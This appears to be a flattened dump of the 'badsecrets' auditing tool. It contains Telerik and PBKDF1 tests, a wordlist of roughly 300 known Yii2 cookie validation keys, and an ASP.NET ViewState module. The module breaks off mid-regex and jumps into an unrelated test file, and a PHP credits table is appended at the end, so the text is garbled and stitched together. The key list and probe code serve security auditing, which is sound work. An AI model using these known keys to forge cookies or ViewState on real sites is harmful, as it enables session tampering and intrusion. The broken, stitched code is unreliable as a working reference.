wedeaQyZVveb4E0mTuMEQ259781fg727QoKnlu2m7Zh6gJINDk1a68Ap3t%2FCU1U8%2BL1haNZ5s7ywWl6vHM7dWvGffmqofBXoOKFhPdnSTc5xn6kgryFZJmnKwRyhOlPVCthRkgnANcLXEH1mtC1WQ8soXuVuMm6uAg44nwOt8BVZSNyJYYaEZCH4HPhtTo1F93W4PtXWJKIT6Mphf%2FWsIwJOKJzxgzCkCSwBB65kTL17LIQuyBqfmprPFtqEgTIRv4IFpJ8WuyeES08ti8QYwYM%2BPN2GZ1CTQu6kvlVlSBJxdTSvdf5IS%2BVje1pQqPJdYOIwwMTTpLfOno4qkHZVcM6OQnUNpvyIvRTuYJ5twYx8Rkty36P1%2BsKeaTMFgVWfMvpK5UNThjDxKMAsy7MgcMTxfZAeNi41gaQSbOFrdgtbkYMTALGiozY1NCcnHbXwr0qnHVKjVVDBuOPZeLL0lzBcm3hGjGYhOjrJLv4ZuRSLvCAe4UfHRhQcCjJd15vNpV8nbdcvEl2e7FUdoNlrPWxaglcEK0vu9WJxBzQVmzoNINhUvqnDZIrYOAGfzrDYrDAwMheLpr9OKHMvM2WHNHUecDK0781NXS%2FdoGGeheaTOe8DieXwcL%2FJlW2bBEwSUNDMuyD8RiukZHUQ4qcgDF%2FGLqUqkDesWIdQyj99wqKFfQNuwm41kCnzAN5uSt3IUiMiA7zsuDr%2BDg0Ro00K6Ap3wFLF1M3xtQobLnsRuCHZGwXSGxye%2Bmg8%2FxD%2BlTOs55IRwb3DDwi6eKdubRJMLN2o544FHYWL1UBAc%2BZcfz7vIqFeHUBMOc5htw%2BDPlXZRRnEzn%2F4qpV4ioEdZeQEv%2BhfXyUs9hF19JP%2BLJiWDJ3Ukdh7OdW2c6GtjOIiKeOcFcJi%2BYB8CP8ItWydzlt0IUaHufQ4ooPkkmmchlX7HV6%2BboKKGxaNWcOx%2BkAWPvP0IeYahPPff9PiSErWiFzc%2BOmFinwZu%2FXJsse%2BG1ndzbUJeMV%2B8jBdZtxiAewbNJxJZl%2Bgu6avfcLJqYjBfxFJ3%2B87%2B6AtI3JI93aCTEiLPVHMiMjsI6j8N1Nxn77BhCsXF3D9uXIqbqTsxp5je4xS4LHqrTTVnsKk3zqlc1PZvgVRGYVD3MRFUmFQfT%2Bnn9HhrDkuCfVdALWHnDOC%2BOOhHglnYm38GLFWA2Mo5VW4k3wM0ftFYVzaVVYYAEFmp8Uvup1sh6COO%2FZJJCSgBK1ZwjnLeWHM1j6Fo0f03YYC5Eghbzi2dBwR0WC2e0hHgtb2TY1K6Uc%3D" 52 | sample_encrypted_dp_bytes = urllib.parse.unquote(sample_encrypted_dp_b64_encoded) 53 | 54 | x = Telerik_HashKey(include_machinekeys=True) 55 | signed_encrypted_dp = x.sign_enc_dialog_params(test_hashkey, sample_encrypted_dp_bytes) 56 | r = x.check_secret(signed_encrypted_dp) 57 | 58 | assert r 59 | assert r["secret"] == test_hashkey 60 | -------------------------------------------------------------------------------- /badsecrets/resources/yii2_cookieValidationKeys.txt: -------------------------------------------------------------------------------- 1 | ".$cookieValidationKey." 2 | %^&*()JH(**)H(JKLG&*(R%^(UJ()J() 3 | -3ffDUN7EtLddlOgyHFznuS64pR0a78Q 4 | -3o4E8YUQjnojIBI0ZWMA30eI1bxh5IQ 5 | -ab05p9ooDOXSQG4VENCQvupiYwBMOII 6 | -CHMxJ69ZZORr_aErVh0b4GnjCVrHQHc 7 | -gZ6AoxklSu1iy2mYvzmrS9NHFwEJsPV 8 | -sqOI0mlTYB8d2qDwkdnu-UudBJQaNwz 9 | -wvnuadHgBIriDedQwaDz25FmGsxTL6O 10 | 08d8b299f21c4dd0b81190972e9233d9 11 | 0_0w-naFBuT9NGxrkABFtAszJiouNl8s 12 | 0e5N415WTrIrcawM0vr4jineqKu7vzMx 13 | 0iOrv5YCnSBY2wAdt9z-8EK6nwuCPh2g 14 | 0Oh6j_0eKyKJ0d7bBsebS2QDPmsgZojk 15 | 0paU95BJBjgc8F00sz4JLZkn53I8MRTN 16 | 0QXciSd-hoCDCTd3bIGbNUlZzDOMTmpG 17 | 0wk1ayKHWC44MTmnYulIAT6c3MVUp2L1 18 | 0zlT5PU0aDhO5wuxfnOvilJCh4CNUXFu 19 | 1-mDz2sD92g-DpVK5NiLPb7QdYq_tHHh 20 | 11g-ICtiMpVx7WGB3SfQtUI56LVp9H09 21 | 1223456789 22 | 123 23 | 12345678 24 | 1348860441 25 | 1431414123190090990909 26 | 17O9JuhpSBcH4qYWnZrDS62NAYu7oAo1 27 | 1AKJyFLbfV50WohdwMuqpzwak9wH01T7 28 | 1D63Jwe1hiUtFH815xIi0Ixvuh6EqDwZ 29 | 2821868438 30 | 29234500 31 | 2923534000 32 | 2yzRNcm-CKfWteL1xqrBMDCfqud2u5eU 33 | 38838938936689 34 | 45ed697dtg8uhrg9eheg00j09 35 | 4hfR3NhwFDMJxrcchu_APBgTwrFSxXt- 36 | 4pZArirHMMzFjs2fP53IGsaF8bX82uEK 37 | 4V3hcVkYyPlfapn36JCGXUjzAzDyJhsy 38 | 66c957a65f4dfc0e6c2699f692ff17cd 39 | 6VehvOH_JIkJ7JymtY0Oel-dSUzzLRT7 40 | 6WIDi8V6ZoQYzJCfH8wgkO2nS_YQZOo- 41 | 6XZr8wRMUzI4hzSY5ynIj9da-aTpmT-l 42 | 6ZoDxNQWJLagz3dhQzchvQ1966rRhudE 43 | 7dkNyUW7ZqFWTT6IPiAYb6G2W3waiZ3X 44 | 7X0dtpvktsnbr3h2XhFKs7Asl7qagW3g 45 | 8soUA1VwjXbWEfzBEyD4K-1aeI2SutCV 46 | 91pFOhUmhJcKvasyPQZI-cOuiwrI_M-Y 47 | 9te1HJt3rRCqy9bQvMN2Ly5Z9f6t1Ouv 48 | 9uv54-uvETwGqEWbK-9qq9hjRiLISSdw 49 | 51 | @l#!/*W&+e5U-a%3IJnkC3|&nj^jpB#2.J2P 52 | [CSRF Key] 53 | [RANDOM KEY HERE] 54 | \ 55 | _3VGWOfq8uWRZA-8ZEwF2UmNaPAloJjT 56 | _KrWQvmDJum_stF3vIO3MgXIyKn-rX28 57 | _pgCqvUirbYul8SQgXwSvms94dRKcEIX 58 | abcdefghijklmnopqrstuvwxyz012345 59 | alsdaf8*D(as8dasj 60 | ameBP_kz5IJ5-5mtQwp7lv2qj_1hDU9N 61 | api.application.www.b5net.com 62 | asd 63 | asdasAsadcSffgrd21aPleAerbhH 64 | asdasdsadadadada 65 | asdfsdfsdfs 66 | asdSb6orgFTiVXS05DS6TFqqLJQjf6ad 67 | asfsfdfdsfsd 68 | B5clhW-qqZndTv4tssQUE1WwDqrX3Bfo 69 | BCUm2SFBIThfY_CLwQaunfOFWPQwabp9 70 | bdgsddshfdbvgas14tds53tewu754edfv 71 | beNS_ukv8q7lGuGci0WrOg7Uy0qilYE_ 72 | BjQnCuPZWKbjqV_HlQcgPuhuys3ihMKx 73 | bov4zECSN9LVaedRYS-xb5mxsnMNFqWI 74 | BqQTsu720MUOpioFJpJQVVyqS47PjjR8 75 | bWDbz9vyy-2hhGXg5oNHplSRZF-UD_Ij 76 | BYsZYK6GVFucxYv4cBuHD73Q8mRi5ZGD 77 | c3KxaQtedXAsvrUkULoiSDJ2gYPnidXf 78 | carsinsuranceindia 79 | chaide123 80 | cHsaFfPdkzswmgiXpZ2X_aLk8coW2fik 81 | citibus 82 | cMr2rLVvljIhN-CjvZi206hyFW7xZTdD 83 | CNsW2fQRoOgyYWSkFDY1uDfxpiPvbC01 84 | cookieValidationKey 85 | crouns 86 | CTNrckVh0Bwz2SVQUXEYkhbt0bxm1MoZ 87 | D6zCxJSFlWMPLSSAJKYwRY5CbrvBF7AJ 88 | dBjBzMTsoFsUtpIF4GAaAqtGVC3hjCfo 89 | DeuV44Ygufd363hHwV8uMZJSJyT9KXj4 90 | development 91 | dfg5y0dg-45sdg1v_dfg2rgh-ssWe0q 92 | DRvFtSLNf46sEEu7bbG9sj267a4XJlUq 93 | DuG6WXyJfk73xhCh8s3DdNr1uOn7GGM- 94 | DYuNUtMPNM3cFbeUbEY4m9Gu-qzALDHH 95 | eb9DFxpAUINo1bDhSyxLHnToTyUdtxlV 96 | Eg9MR1TYGf7PFT7-As63pT2GnVTXRbQS 97 | EJBy8WRohzpqJY7BTurjQaft2NV-g1cA 98 | enter your secret key here 99 | eSDNQqclPQoW1Zhkm6guPKQuVuMCIOJd 100 | f0J4-TdSBFyMpAXH3opRwQAGdDMGgtUt 101 | f763603732269fb75965b4a470455cf16b045326 102 | f9QDGuKYKutFihiE-1TRkqxJKmmY7N0q 103 | fCW-lf4bgT6kl7AX7q1_Z8nrB79T_cL0 104 | Fet2SHWdQQCJgh9dFkbF2RksZkU-pDOr 105 | fill in a secret key here 106 | Fssdf12d2s31raararararf2asdaZTq4GhB2W2QZqyierWmHWmFwAK 107 | Fxd2lkEPXhjmuPXi4ECR1M12HnnEq_kU 108 | gB_-zECp2elHU6gHSFAZc2pVozYEhEp8 109 | geetasksecret 110 | gfiLiZYgM8i39whlNHkOEow2TC6R0rXw 111 | ghsj&s_5{g# 112 | gn-9Ux0lv7wT4VcdfXvOTTQWveFQE2FP 113 | go9F70D1NY-VTtHV8GZU4EPV5F9snCbZ 114 | Gp9OXN6nMnp--YxgCYbNt6W9xew4k_By 115 | Gtwerwe34dvh90FArwre 116 | Gv0nHTwegb0Fa6bnWUUZOvxiqv10n03J 117 | H9faj5kCQM 118 | HAOcBYal0wqXg1kBwPZs5wStyqwQv_d4 119 | hC0PCZY3a5vLBxsCvfrvbwpQ7fZeez_o 120 | hh4tEcWT0KKLw$@157dKiUg7x~0Ad2*7d91#FJm1zb#9QCabq}hj}F7{57t2U8S# 121 | HjorQDlOMQXDRWcElFmX5iuVPfV1Pe9j 122 | hUqDYrJhdCFc6Qr6ppmXgSs8vTpKTLmc 123 | HVZrcUWNy4g1W_1yHDzNL4S09ScbhjDt 124 | hwdn8-iyIh5LylPLpD1PoplqjUka98Ba 125 | I-love-Yii2 126 | I2zaS-tiy069Mi6geizcZ3iAcA75GC2B 127 | I9twgjl1VHz2jm0Lh8XHd2AANJRq4RtH 128 | IeycYPYcVgCYNubf3oBvDJiBgivKMFoD 129 | IgAv5_z9pAJYj5XifBP5qHbABhGth_h4 130 | ihub 131 | iNgPOK8X4qFxJGxM7sDgXtQL1tnQNwJA 132 | iniadalahsecretkeyuntukcookie 133 | iQBKaQuqISOxZ84VO_EjqSINmUX51e1w 134 | iteazytest 135 | j5RVvxZIJQmqTlGpFzihajszp2gVuANO 136 | JDqkJaMgIITAKcsJY6yvLQdM9jf7WghX 137 | JH9hGZzjyaGctN8R_pfYArr_ZFgkIPv7 138 | jJqAbn3Mr0Cwx8VM_XaWnjDgdquq_vrr 139 | Jlwdg1TXsNyKBNypaXXl08_jXDEpPUVT 140 | JybFpZXMaQNoT9f0197C7xog0F4-NCqL 141 | Jylm1ld7qwzDt2nySXPFRSXsRvD3_cRu 142 | KaNMPF6oZegCr0bhED4JHYnhOse7UhrS 143 | KAwHQH1k3srx7iGs5Tg2L1bhdZ_nRjI- 144 | KBcetJwcWd5dIE1Z2BBjLx1pzxHwa6jy 145 | KCH-ljQL1txZIMEusHZgN8ECZs6GHHKD 146 | key 147 | KFBI6reenOjMCowgwXJCMlZGktelMYA7SyMexUGdyditoGber7siso 148 | ki4CcUDzXK3YJzm5X3jw-0Yiiwb5OsZN 149 | KMH2fE7EsGUMysHFAjxEcURe_q5rda59 150 | KS-GsRZNI5wnzWXgVc2dmQPqHvjg7dKd 151 | ksZ0900X9nvMMMyw37kRUILnrjltI7rj 152 | kt4gok1H6ISgQe1NlG0g92m9_RkYMgpo 153 | kZNDjIFgF1DJAZOTBW4umD4_WP2itjiw 154 | l63RbVH4rZYfXNn6JGWq88D41dc8cK00 155 | laeti 156 | LcFnSegZicgJpzBTArE6Qgjnf8nfHM6S 157 | letyii@!$(!&@ 158 | Lf1hcz2i6_tj2d-i3-3ISd3B55_QKy71 159 | Lft6gEP2QuiCKdTInd7z0lhz__coAYCj 160 | LPNw88N93goOVcqVfJZb7yMZZRis_tTV 161 | lqNCkvEXt__5jLmIkUk6AUnRLj4K_qk8 162 | LrxOKUC-zXdQ40iBoXQWu3sljHRhbNXZ 163 | LyWC3tf2Bi8wUT6iJtdsgfIaZtc6CddY 164 | M-SQu6u6d-V5YinHtgifL6x2k1J6BwBb 165 | M0WYPF4CqWbMjHhucjMyqrf25xjNAk4j 166 | M48085L3F3Oy7cV4U01mWd1We7OtSiiG 167 | MDxAFCVHh8dfRfkSLtVDcjUCOIYa0CXV 168 | MeHYbcMs-njKgb2wDNXcZ-q7pI0xcy2o 169 | MERe0aSPDBmwt_3An7yqK6Y3VRnSEEKW 170 | mldcOhzqWMRgnEnGwqMKxIaiUJHiL_te 171 | mMSEH2PKbKevInuOsNvXh9_oPtNSC2et 172 | moon 173 | MsTEwas232 174 | mtAsnDCTuuZoahYt1ER838WsACPcmlV3 175 | Mx3-M-iXODDptssVYApG8WbGG9M4Dp5Q 176 | mySecretKey 177 | Nhập secret key tuỳ chọn vào đây 178 | NsB1f_FXBfgYOP1M1ErfscN-Kip98P6G 179 | nsFLiKiW5Kxk9xkeW85w4XYPICHU0J-Z 180 | nttN49BkYzUIiCrceNFctxIWK33-uLAF 181 | NXpMoQbj9pEXuBkd79DZJwptmv4biEQg 182 | O1d232trde1x-M97_7QvwPo-5QGdkLMp#@#@ 183 | o1gTz_Q1NiFSctJ99SSYm56VdiTk8HKw 184 | oFwVN8ObxBLlQyJYGOp_go9EdyIgIY27 185 | OGCFiHwDQha84eYi8ajfsMJ8XEQ5ft4E 186 | OhLi2g92xO0Fj1r73_XIrO_60-F2xEdW 187 | ONIU4--N_7FIwD_-Y5OHWblw8dqU0PyB 188 | oXKrbycTet8CtdIWBW115vdNBOlphtjs 189 | oxTxC600X5DGRubG2mYdBMmC4MM0C-ZB 190 | pablo 191 | Pd8EdT0AfKjYucnwbnkjamdDJuzVHwxU 192 | PEi6ICsok3vWiJSJJtQV2JZ6D-jk5gkh 193 | pepe 194 | PFOqfTLbN9Nm03ChLMYmX5HGyXoTX7hA 195 | PvFIRI8b_yld0U496W_zjuCmwjDd6ism 196 | PXNfaJUXn3HwxUzNw-vONeHlJgVyxOQs 197 | q0ZHIeAhCBQb8s_8diYJvmC36OTA2QrG 198 | qbqVJnqfpI6YfTzPUdPL72mhYKRh74up 199 | QcLDLiX6AhSrCGBVGRi-HQIaPZ78gL6c 200 | Qh6AkAbY4alGAFda7k0FxE5zApCOlYF- 201 | Qq0fIK5vB6mseTKoYXX-dVdwHQFYrEXC 202 | qrbB052lggAyJEJCHd6HQuMTi8ilS4ps 203 | QTlcIizdBBGYyOLam2YuDWHKMhwAgSsB 204 | qwe 205 | qxOH-LMMrJJ_unqJzWsPO1eL39JF0cnK 206 | RADYvs43eCDoO5GLTEGXSs7GV0W_yDoU 207 | RAqSIDCpvJwUcmEAeuf7G0u5eT7rnLjr 208 | rg34123214 209 | rhANM0cj3sFb2Sy_0CHMNw-tsBf_vVyP 210 | RhLqcR79Fcg9GUBYSQa9R9BzTfo7htK- 211 | root 212 | RPGnD8bw1SmWBLQlv1XmZNvQ1BWx29z5 213 | RUR9jntbs4hk00D6Q-vf3nch3RdP9fai 214 | Rv43guZ-Gc791Yj_KpLgUen5O5Fmxs-I 215 | rVfcjiFtkMxVOsgsPhEI 216 | RYU8Zk8a6qn5N1bZvUaX3TM6LnRBnHpL 217 | S12Jkv6jtjLCCnqJKWLUfZ4QWXOFUb4J 218 | sBL6-t06ztw1QVjToSSvjrS_kc52b-fq 219 | schoolphone 220 | sdfjjksloeedf78789judd 221 | sdi8s#fnj98jwiqiw;qfh!fjgh0d8f 222 | sdifdbfshbsnstyrfedwety,mnbvcdsfe 223 | sdNsa23Ms 224 | secret 225 | SeNDCi8XHJrBSTZpujKp5D2xWtApuqej 226 | sewa_assessment 227 | sipedes123 228 | SjI1hMMp4bpIgU4_Tdke3W93EhpFghId 229 | sK8lASIoVVSFDKKRQ1LbN-jwlKjddGD2 230 | SlItZHuBitQn964GzOijvDz8AdkZgTlT 231 | SN4W4e4whReWuIJlSP4arZx-pfuTWpvy 232 | SNfuzgcfPdlc2LPHDbceW0qParv0YPk5 233 | some_pullr_key 234 | someValidationKey 235 | SVnVkT24CuHMpvpvZkiANzL6jR8xSNb0 236 | SYkjYFnYjkZgkNwhsvW7nU2Yb3X02SOF 237 | T-jnbpRXnB8GEesBosdfvcPvuqUtYQ5b 238 | test 239 | testkey 240 | TKe-3Bg1VWNFuy6MP0Z51ZF4nm6qoucR 241 | tmC8OAkIX2onr1DLBAF4IYtAL41Q_eEA 242 | token 243 | TRk9G1La5kvLFwqMEQTp6PmC1NHdjtkq 244 | TRss315QwFJIhelIv7Gnz1d5IDAlRPHX 245 | Tvs1WyzYBkqUs4nVKWdQ-Xp69NuszsRT 246 | TZ 247 | U-l3ZA7DXdK-2liZEZf-hy7PPQV91Cm3 248 | ubpqVTyRsPjbIHry6aSKZD10LLN9Zw9H 249 | uhU6aGtOWy7gDIm9AY3cawMuAAlrO8wp 250 | ujikomirsyad 251 | UML3Yaqcwpz-qs6C-GyC1Kz1oMRvMzGc 252 | UNIQUE_KEY_BACKEND 253 | UNIQUE_KEY_FRONTEND 254 | Uy4rVP6QGnQimM_S9avA2QZ0bwZiiYXI 255 | UZyP0w5IDbB3WQMCK8dnXLs8dziwrSs7 256 | Va1MpFBmItGc9uV6y2STcb-XHw0m0XPD 257 | VsmVgVFDUWvxnX-vGG5gvLYHJjrgUkn2 258 | vWLtvK9yeqtdvvEfP1l4snt8VEikNYEQ 259 | wefJDF8sfdsfSDefwqdxj9oq 260 | WEsRl7srQajvaDqry_TOmGbcgW08l-KP 261 | wg1VD6Hul8GQbNLD8PEYr7L2N67EYUnj 262 | wkHCswIPwLHSEEHaiN4P2nFCu6LDhKfX 263 | WMnTOZfa_D2CoMZj-U1WY11EwcNYETxg 264 | Wq72wxi1h7AJ42_DfoId8jSSSFWoUuL8 265 | wQrzC9luLQMCO1t5RDBEXU5HLQ9LWb0W 266 | WSw7dEwFY4jKDpb4tFlMSjT3g3351R0L 267 | wuqKYJyFRLfhuFbepB2aDTFiY30ZQ4X1 268 | WWAH9LZfwzvV4R-1RoZybEHJTagZa7KT 269 | X43fRCIn0tHvbWg0LXr8pD-TA_1iQKnH 270 | xHh6LpjrE6lnVB0E_Gipxai2dkvu_AKb 271 | XknlLjiyF9IbRBCXlAGxOGQ7CMqVudIf 272 | XLVFEHM1hG6t52DMKUeBUJkVDDDXigN0 273 | XS4TmK6AT3poEQ2NgGJij5zSPVsilCvs 274 | XsvslbQm64aqv_7yX9OASWzXTTlc75Ge 275 | xWZ35QUMzAprRApQdNFjcHkc87gwHhZV 276 | xxxx 277 | xxxxx...... 278 | xxxxxxxx 279 | xyz 280 | Y0Sn7Ktyyk0l60_9yJiBkJfZ14Jqw_DeaA5pjNtPE4EuM-qvzietJ0a9OIT63dio4pW98ymEnLEhWAC0oyx55g== 281 | Y5CGAiG4SQeH5f7gtwoBP4_0leybu6Mp 282 | y66p--lh5kuVhVbWG8Na0UD6tTK2toqP 283 | Y8ifrez6YY1-r8Vo3Mv-rM_SFQAn_U5q 284 | YEagPq8_23qKZ3MIt1WgINQwqD3-HTwn 285 | yfyjsz 286 | yhHIxC8wBku2KRsFiTJWMkyz9DCMjr3d 287 | yii2belajar 288 | your secret key here 289 | your-validation-key 290 | your_validation_key 291 | YourProjectNameIdKEY 292 | yqCwgKwBKx9tmybEwgnH-GIplIuOJe8L 293 | Z7DybJgp8OLtbRXTJOYr3buTl1pIaQeG 294 | ziH_S4VhNJGkfb9h2wblvWjQTPwaQT9a 295 | zqv0r-fVImc4m9j1MEkmI-UIswX53tXG 296 | zR_vg9BEChcN34mow7RmJHToH_xeKFKt 297 | zvMfIt-ga4Y9vNmh2C-NjShC2N5_zMQd 298 | ZxlalSjI5PmXh7F02cQeGT17GYbOAQ_L 299 | {{secret}} 300 | 在此处输入你的密钥 301 | 秘密キーをここに入力 -------------------------------------------------------------------------------- /badsecrets/modules/aspnet_viewstate.py: -------------------------------------------------------------------------------- 1 | import re 2 | import hmac 3 | import struct 4 | import base64 5 | import hashlib 6 | import binascii 7 | from Crypto.Cipher import AES 8 | from Crypto.Cipher import DES 9 | from Crypto.Cipher import DES3 10 | from viewstate import ViewState 11 | from contextlib import suppress 12 | from urllib.parse import urlsplit, urlparse 13 | from badsecrets.helpers import unpad, sp800_108_derivekey, sp800_108_get_key_derivation_parameters 14 | from viewstate.exceptions import ViewStateException 15 | from badsecrets.base import BadsecretsBase, generic_base64_regex 16 | 17 | 18 | class ASPNET_Viewstate(BadsecretsBase): 19 | check_secret_args = 3 20 | identify_regex = generic_base64_regex 21 | description = {"product": "ASP.NET Viewstate", "secret": "ASP.NET MachineKey", "severity": "CRITICAL"} 22 | 23 | def carve_regex(self): 24 | return re.compile( 25 | r" 0 111 | with pytest.raises(Csharp_pbkdf1_exception): 112 | csharp_pbkdf1 = Csharp_pbkdf1(b"string", b"salt", -1) 113 | 114 | # try getting bytes with a non-int 115 | 116 | csharp_pbkdf1 = Csharp_pbkdf1(b"string", b"salt", 100) 117 | with pytest.raises(Csharp_pbkdf1_exception): 118 | csharp_pbkdf1.GetBytes("10") 119 | 120 | 121 | def test_csharp_ppkdf1_accuracy(): 122 | testing_password = b"6YXEG7IH4XYNKdt772p2ni6nbeDT772P2NI6NBE4@" 123 | testing_salt = bytes([58, 84, 91, 25, 10, 34, 29, 68, 60, 88, 44, 51, 1]) 124 | 125 | csharp_pbkdf1 = Csharp_pbkdf1(testing_password, testing_salt, 100) 126 | 127 | first32 = base64.b64encode(csharp_pbkdf1.GetBytes(32)).decode() 128 | second16 = base64.b64encode(csharp_pbkdf1.GetBytes(16)).decode() 129 | extra4 = base64.b64encode(csharp_pbkdf1.GetBytes(4)).decode() 130 | 131 | assert first32 == "0E96sqkdWxaKP6LiS51AZPiaf69vGRSrs5uQDKgTvHo=" 132 | assert second16 == "ij+i4kudQGRbbIAdfNYc6A==" 133 | assert extra4 == "3dWedw==" 134 | 135 | csharp_pbkdf1_2 = Csharp_pbkdf1(testing_password, testing_salt, 100) 136 | multiblock = base64.b64encode(csharp_pbkdf1_2.GetBytes(61)).decode() 137 | 138 | assert multiblock == "0E96sqkdWxaKP6LiS51AZPiaf69vGRSrs5uQDKgTvHo3A4pO5Q425VtsgB181hzo3dWed76Wlpim4uhcRw==" 139 | 140 | csharp_pbkdf1_3 = Csharp_pbkdf1(testing_password, testing_salt, 100) 141 | halfblock1 = base64.b64encode(csharp_pbkdf1_3.GetBytes(10)).decode() 142 | halfblock2 = base64.b64encode(csharp_pbkdf1_3.GetBytes(10)).decode() 143 | 144 | assert halfblock1 == "0E96sqkdWxaKPw==" 145 | assert halfblock2 == "ouJLnUBk+Jp/rw==" 146 | 147 | 148 | def test_encryptionkey_probe_generator(): 149 | x = Telerik_EncryptionKey() 150 | 151 | test_hashkey = "6YXEG7IH4XYNKdt772p2ni6nbeDT772P2NI6NBE4@" 152 | 153 | for key_derive_mode in ["PBKDF1_MS", "PBKDF2"]: 154 | for encryption_key_probe, encryption_key in x.encryptionkey_probe_generator( 155 | test_hashkey, key_derive_mode, include_machinekeys=False 156 | ): 157 | r = x.check_secret(encryption_key_probe, key_derive_mode, include_machinekeys=False) 158 | assert r 159 | assert r["details"] == {"DialogParameters": "QUFBQUFBQUFBQUFBQUFBQUFBQUE="} 160 | 161 | 162 | def test_malformed_dp(): 163 | x = Telerik_EncryptionKey(include_machinekeys=False) 164 | r = x.check_secret("z2r1wMUG5YT66qgXyvpZiSYBdpdh2nUvUhGephVuEok=") 165 | assert not r 166 | 167 | 168 | def test_malformed_b64(): 169 | x = Telerik_EncryptionKey(include_machinekeys=False) 170 | r = x.check_secret( 171 | "01e8fb7a2a67f5ef3efb27fb85276d927f295fbde6b3e4da378c646de18262f7634386432e3716a4bea164f4eb98e1e7721b82bb66" 172 | ) 173 | assert not r 174 | --------------------------------------------------------------------------------
PHP Authors
ContributionAuthors
Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot
Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski